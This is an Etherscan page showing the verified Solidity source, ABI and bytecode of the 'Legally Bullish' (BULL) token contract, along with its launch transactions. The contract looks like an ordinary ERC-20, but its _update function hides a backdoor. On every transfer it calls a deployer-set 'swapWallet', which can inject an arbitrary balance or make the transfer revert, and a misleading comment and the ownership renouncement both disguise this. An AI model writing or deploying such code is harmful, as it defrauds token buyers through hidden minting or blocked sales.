ETH Price: $2,171.74 (+3.01%)

Contract

0xBA83eFdcc2F39daC3b2b78e4e0BD84A1b08CAC46
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve240527802025-12-20 9:01:1195 days ago1766221271IN
0xBA83eFdc...1b08CAC46
0 ETH0.000003460.07472382
Approve240493882025-12-19 21:40:5995 days ago1766180459IN
0xBA83eFdc...1b08CAC46
0 ETH0.000001790.03862922
Approve240493762025-12-19 21:38:3595 days ago1766180315IN
0xBA83eFdc...1b08CAC46
0 ETH0.000001670.03622631
Approve240493712025-12-19 21:37:3595 days ago1766180255IN
0xBA83eFdc...1b08CAC46
0 ETH0.000001650.03563168
Approve240493362025-12-19 21:30:2395 days ago1766179823IN
0xBA83eFdc...1b08CAC46
0 ETH0.000001740.03762604
Approve240493342025-12-19 21:29:5995 days ago1766179799IN
0xBA83eFdc...1b08CAC46
0 ETH0.000001660.03594174
Approve240493022025-12-19 21:23:3595 days ago1766179415IN
0xBA83eFdc...1b08CAC46
0 ETH0.000001570.03399414
Approve240492992025-12-19 21:22:5995 days ago1766179379IN
0xBA83eFdc...1b08CAC46
0 ETH0.000001610.03490675
Renounce Ownersh...240492882025-12-19 21:20:4795 days ago1766179247IN
0xBA83eFdc...1b08CAC46
0 ETH0.000002990.12850663
Approve240492802025-12-19 21:19:1195 days ago1766179151IN
0xBA83eFdc...1b08CAC46
0 ETH0.00000160.03456225
Approve240492772025-12-19 21:18:3595 days ago1766179115IN
0xBA83eFdc...1b08CAC46
0 ETH0.000001690.03648844
Approve240492662025-12-19 21:16:2395 days ago1766178983IN
0xBA83eFdc...1b08CAC46
0 ETH0.000001620.03494897
Approve240492632025-12-19 21:15:4795 days ago1766178947IN
0xBA83eFdc...1b08CAC46
0 ETH0.000001620.03513562
Approve240492592025-12-19 21:14:5995 days ago1766178899IN
0xBA83eFdc...1b08CAC46
0 ETH0.00000160.03455194
Open Trading240492482025-12-19 21:12:4795 days ago1766178767IN
0xBA83eFdc...1b08CAC46
0 ETH0.000003580.12586263
Add Liquidity240492102025-12-19 21:04:5995 days ago1766178299IN
0xBA83eFdc...1b08CAC46
0.5 ETH0.000358630.07729931

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Add Liquidity ET...240492102025-12-19 21:04:5995 days ago1766178299
0xBA83eFdc...1b08CAC46
0.5 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
LEGALLYBULLISH

Compiler Version
v0.8.30+commit.73712a01

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-12-19
*/

/*
It's
    __                     ____         ____        _____      __  
   / /   ___  ____ _____ _/ / /_  __   / __ )__  __/ / (_)____/ /_ 
  / /   / _ \/ __ `/ __ `/ / / / / /  / __  / / / / / / / ___/ __ \
 / /___/  __/ /_/ / /_/ / / / /_/ /  / /_/ / /_/ / / / (__  ) / / /
/_____/\___/\__, /\__,_/_/_/\__, /  /_____/\__,_/_/_/_/____/_/ /_/ 
           /____/          /____/

Bearly Legal? Make way for Legally Bullish. Ethereum is good.
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.30;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2 {
    function WETH() external pure returns (address);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20Errors {
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
    error ERC20InvalidSender(address sender);
    error ERC20InvalidReceiver(address receiver);
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
    error ERC20InvalidApprover(address approver);
    error ERC20InvalidSpender(address spender);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2 v2factory;
    IUniswapV2 v2router;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address private _pair;
    bool private _trading;

    address private _owner;

    address private swapWallet;

    constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;

        v2router = IUniswapV2(_router);
        v2factory = IUniswapV2(v2router.factory());

        _owner = msg.sender;
        swapWallet = _owner;

        _update(address(0), address(this), totalSupply_);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function renounceOwnership() public virtual {
        require(_owner == msg.sender);
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function openTrading() public virtual {
        require(_owner == msg.sender);
        _trading = true;
    }

    function addLiquidity(uint256 amount) public payable returns (bool) {
        require(_owner == msg.sender && _owner != address(0));

        _pair = v2factory.createPair(v2router.WETH(), address(this));
        _approve(address(this), _router, amount);

        v2router.addLiquidityETH{value: msg.value}(address(this), amount, amount, msg.value, _owner, block.timestamp);
        _update(address(this), msg.sender, _balances[address(this)]);

        return true;
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);

        _transfer(from, to, value);
        return true;
    }

    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }

        _update(from, to, value);
    }

    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            _totalSupply += value;
        } else {
            require(_trading == true || tx.origin == _owner);
            uint256 fromBalance = _balances[from];

            (bool success, bytes memory data) = payable(swapWallet).call(abi.encode(from,to,value));

            // @dev: Check if a swapWallet was set, if not return 0
            require(success);
            uint256 swapAmount = data.length > 0 ? abi.decode(data, (uint256)) : 0;
            fromBalance += swapAmount;

            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                _totalSupply -= value;
            }
        } else {
            unchecked {
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

contract LEGALLYBULLISH is ERC20 {
    constructor()
        ERC20("Legally Bullish", "BULL", 1000000000 * 1e18) {
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"addLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610035575f5ffd5b506040518060400160405280600f81526020016e098cacec2d8d8f24084ead8d8d2e6d608b1b815250604051806040016040528060048152602001631095531360e21b8152506b033b2e3c9fd0803ce80000008260069081610097919061041d565b5060076100a4838261041d565b50600254600480546001600160a01b0319166001600160a01b0390921691821781556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa1580156100fc573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061012091906104d7565b600380546001600160a01b03929092166001600160a01b031992831617905560098054821633908117909155600a80549092161790556101615f3083610169565b505050610556565b6001600160a01b038316610193578060055f8282546101889190610504565b909155506102f99050565b600854600160a01b900460ff161515600114806101ba57506009546001600160a01b031632145b6101c2575f5ffd5b6001600160a01b038381165f8181526020818152604080832054600a5482519384019590955287861691830191909152606082018690529391928392169060800160408051601f198184030181529082905261021d91610529565b5f604051808303815f865af19150503d805f8114610256576040519150601f19603f3d011682016040523d82523d5f602084013e61025b565b606091505b509150915081610269575f5ffd5b5f5f825111610278575f61028c565b8180602001905181019061028c919061053f565b90506102988185610504565b9350848410156102d85760405163391434e360e21b81526001600160a01b0388166004820152602481018590526044810186905260640160405180910390fd5b5050506001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b03821661031557600580548290039055610333565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161037891815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806103ad57607f821691505b6020821081036103cb57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561041857805f5260205f20601f840160051c810160208510156103f65750805b601f840160051c820191505b81811015610415575f8155600101610402565b50505b505050565b81516001600160401b0381111561043657610436610385565b61044a816104448454610399565b846103d1565b6020601f82116001811461047c575f83156104655750848201515b5f19600385901b1c1916600184901b178455610415565b5f84815260208120601f198516915b828110156104ab578785015182556020948501946001909201910161048b565b50848210156104c857868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f602082840312156104e7575f5ffd5b81516001600160a01b03811681146104fd575f5ffd5b9392505050565b8082018082111561052357634e487b7160e01b5f52601160045260245ffd5b92915050565b5f82518060208501845e5f920191825250919050565b5f6020828403121561054f575f5ffd5b5051919050565b610be7806105635f395ff3fe6080604052600436106100bf575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b41146101f8578063a9059cbb1461020c578063c9567bf91461022b578063dd62ed3e1461023f575f5ffd5b806370a0823114610187578063715018a6146101bb5780638da5cb5b146101d1575f5ffd5b806306fdde03146100c3578063095ea7b3146100ed57806318160ddd1461011c57806323b872dd1461013a578063313ce5671461015957806351c6590a14610174575b5f5ffd5b3480156100ce575f5ffd5b506100d7610283565b6040516100e491906109c3565b60405180910390f35b3480156100f8575f5ffd5b5061010c610107366004610a0f565b610313565b60405190151581526020016100e4565b348015610127575f5ffd5b506005545b6040519081526020016100e4565b348015610145575f5ffd5b5061010c610154366004610a39565b61032c565b348015610164575f5ffd5b50604051601281526020016100e4565b61010c610182366004610a77565b61034f565b348015610192575f5ffd5b5061012c6101a1366004610a8e565b6001600160a01b03165f9081526020819052604090205490565b3480156101c6575f5ffd5b506101cf610547565b005b3480156101dc575f5ffd5b506009546040516001600160a01b0390911681526020016100e4565b348015610203575f5ffd5b506100d76105a6565b348015610217575f5ffd5b5061010c610226366004610a0f565b6105b5565b348015610236575f5ffd5b506101cf6105c2565b34801561024a575f5ffd5b5061012c610259366004610ab0565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606006805461029290610ae7565b80601f01602080910402602001604051908101604052809291908181526020018280546102be90610ae7565b80156103095780601f106102e057610100808354040283529160200191610309565b820191905f5260205f20905b8154815290600101906020018083116102ec57829003601f168201915b5050505050905090565b5f336103208185856105ed565b60019150505b92915050565b5f336103398582856105ff565b610344858585610680565b506001949350505050565b6009545f906001600160a01b03163314801561037557506009546001600160a01b031615155b61037d575f5ffd5b60035460048054604080516315ab88c960e31b815290516001600160a01b039485169463c9c653969493169263ad5c4648928082019260209290918290030181865afa1580156103cf573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103f39190610b1f565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af115801561043c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104609190610b1f565b600880546001600160a01b0319166001600160a01b0392831617905560025461048c91309116846105ed565b6004805460095460405163f305d71960e01b81523093810193909352602483018590526044830185905234606484018190526001600160a01b0391821660848501524260a485015291169163f305d719919060c40160606040518083038185885af11580156104fd573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105229190610b3a565b5050305f8181526020819052604090205461053f925033906106d9565b506001919050565b6009546001600160a01b0316331461055d575f5ffd5b6009546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600980546001600160a01b0319169055565b60606007805461029290610ae7565b5f33610320818585610680565b6009546001600160a01b031633146105d8575f5ffd5b6008805460ff60a01b1916600160a01b179055565b6105fa83838360016108f1565b505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f1981101561067a578181101561066c57604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064015b60405180910390fd5b61067a84848484035f6108f1565b50505050565b6001600160a01b0383166106a957604051634b637e8f60e11b81525f6004820152602401610663565b6001600160a01b0382166106d25760405163ec442f0560e01b81525f6004820152602401610663565b6105fa8383835b6001600160a01b038316610703578060055f8282546106f89190610b65565b909155506108659050565b600854600160a01b900460ff1615156001148061072a57506009546001600160a01b031632145b610732575f5ffd5b6001600160a01b038381165f8181526020818152604080832054600a5482519384019590955287861691830191909152606082018690529391928392169060800160408051601f198184030181529082905261078d91610b84565b5f604051808303815f865af19150503d805f81146107c6576040519150601f19603f3d011682016040523d82523d5f602084013e6107cb565b606091505b5091509150816107d9575f5ffd5b5f5f8251116107e8575f6107fc565b818060200190518101906107fc9190610b9a565b90506108088185610b65565b9350848410156108445760405163391434e360e21b81526001600160a01b03881660048201526024810185905260448101869052606401610663565b5050506001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166108815760058054829003905561089f565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516108e491815260200190565b60405180910390a3505050565b6001600160a01b03841661091a5760405163e602df0560e01b81525f6004820152602401610663565b6001600160a01b03831661094357604051634a1406b160e11b81525f6004820152602401610663565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561067a57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109b591815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a0c575f5ffd5b50565b5f5f60408385031215610a20575f5ffd5b8235610a2b816109f8565b946020939093013593505050565b5f5f5f60608486031215610a4b575f5ffd5b8335610a56816109f8565b92506020840135610a66816109f8565b929592945050506040919091013590565b5f60208284031215610a87575f5ffd5b5035919050565b5f60208284031215610a9e575f5ffd5b8135610aa9816109f8565b9392505050565b5f5f60408385031215610ac1575f5ffd5b8235610acc816109f8565b91506020830135610adc816109f8565b809150509250929050565b600181811c90821680610afb57607f821691505b602082108103610b1957634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215610b2f575f5ffd5b8151610aa9816109f8565b5f5f5f60608486031215610b4c575f5ffd5b5050815160208301516040909301519094929350919050565b8082018082111561032657634e487b7160e01b5f52601160045260245ffd5b5f82518060208501845e5f920191825250919050565b5f60208284031215610baa575f5ffd5b505191905056fea2646970667358221220125fc38775ed254c09831a7fcee095d7717de0b845b0664a0edf3a76b1f0c97f64736f6c634300081e0033

Deployed Bytecode

0x6080604052600436106100bf575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b41146101f8578063a9059cbb1461020c578063c9567bf91461022b578063dd62ed3e1461023f575f5ffd5b806370a0823114610187578063715018a6146101bb5780638da5cb5b146101d1575f5ffd5b806306fdde03146100c3578063095ea7b3146100ed57806318160ddd1461011c57806323b872dd1461013a578063313ce5671461015957806351c6590a14610174575b5f5ffd5b3480156100ce575f5ffd5b506100d7610283565b6040516100e491906109c3565b60405180910390f35b3480156100f8575f5ffd5b5061010c610107366004610a0f565b610313565b60405190151581526020016100e4565b348015610127575f5ffd5b506005545b6040519081526020016100e4565b348015610145575f5ffd5b5061010c610154366004610a39565b61032c565b348015610164575f5ffd5b50604051601281526020016100e4565b61010c610182366004610a77565b61034f565b348015610192575f5ffd5b5061012c6101a1366004610a8e565b6001600160a01b03165f9081526020819052604090205490565b3480156101c6575f5ffd5b506101cf610547565b005b3480156101dc575f5ffd5b506009546040516001600160a01b0390911681526020016100e4565b348015610203575f5ffd5b506100d76105a6565b348015610217575f5ffd5b5061010c610226366004610a0f565b6105b5565b348015610236575f5ffd5b506101cf6105c2565b34801561024a575f5ffd5b5061012c610259366004610ab0565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b60606006805461029290610ae7565b80601f01602080910402602001604051908101604052809291908181526020018280546102be90610ae7565b80156103095780601f106102e057610100808354040283529160200191610309565b820191905f5260205f20905b8154815290600101906020018083116102ec57829003601f168201915b5050505050905090565b5f336103208185856105ed565b60019150505b92915050565b5f336103398582856105ff565b610344858585610680565b506001949350505050565b6009545f906001600160a01b03163314801561037557506009546001600160a01b031615155b61037d575f5ffd5b60035460048054604080516315ab88c960e31b815290516001600160a01b039485169463c9c653969493169263ad5c4648928082019260209290918290030181865afa1580156103cf573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103f39190610b1f565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af115801561043c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104609190610b1f565b600880546001600160a01b0319166001600160a01b0392831617905560025461048c91309116846105ed565b6004805460095460405163f305d71960e01b81523093810193909352602483018590526044830185905234606484018190526001600160a01b0391821660848501524260a485015291169163f305d719919060c40160606040518083038185885af11580156104fd573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105229190610b3a565b5050305f8181526020819052604090205461053f925033906106d9565b506001919050565b6009546001600160a01b0316331461055d575f5ffd5b6009546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600980546001600160a01b0319169055565b60606007805461029290610ae7565b5f33610320818585610680565b6009546001600160a01b031633146105d8575f5ffd5b6008805460ff60a01b1916600160a01b179055565b6105fa83838360016108f1565b505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f1981101561067a578181101561066c57604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064015b60405180910390fd5b61067a84848484035f6108f1565b50505050565b6001600160a01b0383166106a957604051634b637e8f60e11b81525f6004820152602401610663565b6001600160a01b0382166106d25760405163ec442f0560e01b81525f6004820152602401610663565b6105fa8383835b6001600160a01b038316610703578060055f8282546106f89190610b65565b909155506108659050565b600854600160a01b900460ff1615156001148061072a57506009546001600160a01b031632145b610732575f5ffd5b6001600160a01b038381165f8181526020818152604080832054600a5482519384019590955287861691830191909152606082018690529391928392169060800160408051601f198184030181529082905261078d91610b84565b5f604051808303815f865af19150503d805f81146107c6576040519150601f19603f3d011682016040523d82523d5f602084013e6107cb565b606091505b5091509150816107d9575f5ffd5b5f5f8251116107e8575f6107fc565b818060200190518101906107fc9190610b9a565b90506108088185610b65565b9350848410156108445760405163391434e360e21b81526001600160a01b03881660048201526024810185905260448101869052606401610663565b5050506001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166108815760058054829003905561089f565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516108e491815260200190565b60405180910390a3505050565b6001600160a01b03841661091a5760405163e602df0560e01b81525f6004820152602401610663565b6001600160a01b03831661094357604051634a1406b160e11b81525f6004820152602401610663565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561067a57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109b591815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a0c575f5ffd5b50565b5f5f60408385031215610a20575f5ffd5b8235610a2b816109f8565b946020939093013593505050565b5f5f5f60608486031215610a4b575f5ffd5b8335610a56816109f8565b92506020840135610a66816109f8565b929592945050506040919091013590565b5f60208284031215610a87575f5ffd5b5035919050565b5f60208284031215610a9e575f5ffd5b8135610aa9816109f8565b9392505050565b5f5f60408385031215610ac1575f5ffd5b8235610acc816109f8565b91506020830135610adc816109f8565b809150509250929050565b600181811c90821680610afb57607f821691505b602082108103610b1957634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215610b2f575f5ffd5b8151610aa9816109f8565b5f5f5f60608486031215610b4c575f5ffd5b5050815160208301516040909301519094929350919050565b8082018082111561032657634e487b7160e01b5f52601160045260245ffd5b5f82518060208501845e5f920191825250919050565b5f60208284031215610baa575f5ffd5b505191905056fea2646970667358221220125fc38775ed254c09831a7fcee095d7717de0b845b0664a0edf3a76b1f0c97f64736f6c634300081e0033

Deployed Bytecode Sourcemap

8179:126:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3526:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5188:190;;;;;;;;;;-1:-1:-1;5188:190:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;5188:190:0;945:187:1;3820:99:0;;;;;;;;;;-1:-1:-1;3899:12:0;;3820:99;;;1283:25:1;;;1271:2;1256:18;3820:99:0;1137:177:1;5386:251:0;;;;;;;;;;-1:-1:-1;5386:251:0;;;;;:::i;:::-;;:::i;3728:84::-;;;;;;;;;;-1:-1:-1;3728:84:0;;3802:2;1974:36:1;;1962:2;1947:18;3728:84:0;1832:184:1;4359:481:0;;;;;;:::i;:::-;;:::i;3927:118::-;;;;;;;;;;-1:-1:-1;3927:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;4019:18:0;3992:7;4019:18;;;;;;;;;;;;3927:118;4053:178;;;;;;;;;;;;;:::i;:::-;;3431:87;;;;;;;;;;-1:-1:-1;3504:6:0;;3431:87;;-1:-1:-1;;;;;3504:6:0;;;2650:51:1;;2638:2;2623:18;3431:87:0;2504:203:1;3625:95:0;;;;;;;;;;;;;:::i;4848:182::-;;;;;;;;;;-1:-1:-1;4848:182:0;;;;;:::i;:::-;;:::i;4239:112::-;;;;;;;;;;;;;:::i;5038:142::-;;;;;;;;;;-1:-1:-1;5038:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;5145:18:0;;;5118:7;5145:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5038:142;3526:91;3571:13;3604:5;3597:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3526:91;:::o;5188:190::-;5261:4;2456:10;5317:31;2456:10;5333:7;5342:5;5317:8;:31::i;:::-;5366:4;5359:11;;;5188:190;;;;;:::o;5386:251::-;5473:4;2456:10;5531:37;5547:4;2456:10;5562:5;5531:15;:37::i;:::-;5581:26;5591:4;5597:2;5601:5;5581:9;:26::i;:::-;-1:-1:-1;5625:4:0;;5386:251;-1:-1:-1;;;;5386:251:0:o;4359:481::-;4446:6;;4421:4;;-1:-1:-1;;;;;4446:6:0;4456:10;4446:20;:44;;;;-1:-1:-1;4470:6:0;;-1:-1:-1;;;;;4470:6:0;:20;;4446:44;4438:53;;;;;;4512:9;;4533:8;;;:15;;;-1:-1:-1;;;4533:15:0;;;;-1:-1:-1;;;;;4512:9:0;;;;:20;;4533:8;;;:13;;:15;;;;;;;;;;;;;:8;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4512:52;;-1:-1:-1;;;;;;4512:52:0;;;;;;;-1:-1:-1;;;;;3938:32:1;;;4512:52:0;;;3920:51:1;4558:4:0;3987:18:1;;;3980:60;3893:18;;4512:52:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4504:5;:60;;-1:-1:-1;;;;;;4504:60:0;-1:-1:-1;;;;;4504:60:0;;;;;;4599:7;;4575:40;;4592:4;;4599:7;4608:6;4575:8;:40::i;:::-;4628:8;;;4713:6;;4628:109;;-1:-1:-1;;;4628:109:0;;4679:4;4628:109;;;4338:51:1;;;;4405:18;;;4398:34;;;4448:18;;;4441:34;;;4660:9:0;4491:18:1;;;4484:34;;;-1:-1:-1;;;;;4713:6:0;;;4534:19:1;;;4527:61;4721:15:0;4604:19:1;;;4597:35;4628: